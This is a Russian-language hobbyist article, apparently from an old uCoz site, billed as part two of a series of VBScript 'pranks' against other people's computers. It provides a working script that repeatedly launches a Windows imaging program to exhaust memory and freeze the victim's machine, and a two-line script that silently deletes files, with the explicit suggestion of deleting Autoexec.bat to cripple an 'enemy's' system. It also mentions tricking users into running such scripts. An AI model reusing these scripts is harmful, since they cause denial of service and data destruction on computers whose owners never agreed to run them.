VBS zападло - часть 2.

Как ты наверное помнишь в прошлый раз, мы показывали мессагу с легендой о нападении некого вируса. Шутка простенькая, но на многих действует. А сегодня мы займемся чем-нибудь посущественней.

Цель проста: забить память компа жертвы до предела, что приведет к жутким тормозам системы, а иногда даже зависанию. Для этого мы просто-напросто запустим целую кучу стандартных программ, которые есть почти на каждом компе, работоющем под управлением Windows, а главное на разных компах они раположены в одних и тех же директориях(но я надеюсь, ты понимаешь, что запускать можно нитолько их). Ниже приведена таблица таких прог, сколько памяти они отжирают, где находятся. В таблице лишь самые рапространенные из таких программ.

Как звать Прожорливость Где скрывается
Калькулятор 410 Kb C:\Windows\calc.exe
Звукозапись 1.23Mb C:\Windows\cdrec32.exe
Лазерный проигрыватель 1.12Mb C:\Windows\cdpalyer.exe
WordPad 3.90Mb C:\Windows\wordpad.exe
Imaging 5.76Mb C:\Windows\kodakimg.exe
Paint 2.95Mb C:\Windows\mspaint.exe
Блокнот 263Kb C:\Windows\notepad.exe

Как сам видишь, места программки эти места в памяти занимают немного, но кто сказал, что их можно запустить лишь один раз. Запусти Imaging раз эдак 60 - 70 и ничто не спасет комп. Ну а теперь от пустых раговоров к делу. Как заставить глупого пользователя выполнить скрипт я писал впрошлый раз.А вот пример запускающий Imaging 8 раз и сжирающий около 45 Мb памяти внушительно правда, а скрипт - то совсем маленький.

Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)
Call Zapadlo("C:\Windows\kodakimg.exe",true)

Не забывай. что если этот скрипт может выполниться на чьём-либо компе, значит на этом компе есть Word и этот самый Word занимает памяти неподетски (например 97 занимает 15 Mb памяти ), так что бери на заметку.

Запустить прогу дело приятное и полезное, но можно еще проги и удалять, что порой даже приятнее. Главное знать как её зовут и как к ней подобраться, а потом делай с ней, что хочешь. Да, вот так. Ниже приведу пример скрипта который и реализует возможность без спроса удалять файлы.Set Killer=CreateObject("Scripting.FileSystemObject")
Killer.DeleteFile("C:\myfile.exe")Суть скрипта проста, а работает отлично, ну сам видишь, что в первой строке создается объект, мы назвали его Killer, а уже вследующей строке мы дали Killer'у наводку, кого-надо убрать. Всего две строки, а удовольствия полные штаны(а у врага и того больше). Как сделать чтобы твой враг не смеялся, а трясся в истерике или упаковывал чемоданы туда, где директор не достанет, легко: просто вместо myfile.exe набери Autoexec.bat. И у твоего врага небудет шансов спастись от наказания за не

Надеюсь эти примеры тебя убедили в том, что програмирование может быть не скучным просиживанием штанов перед черным монитором с командной строкой, а достаточно веселым занятием, нужно лишь немного фантазии и пара ламов, чтобы на них испытывать все, что ты нафантазировал.

Вернуться к списку.>>>>

Hosted by uCoz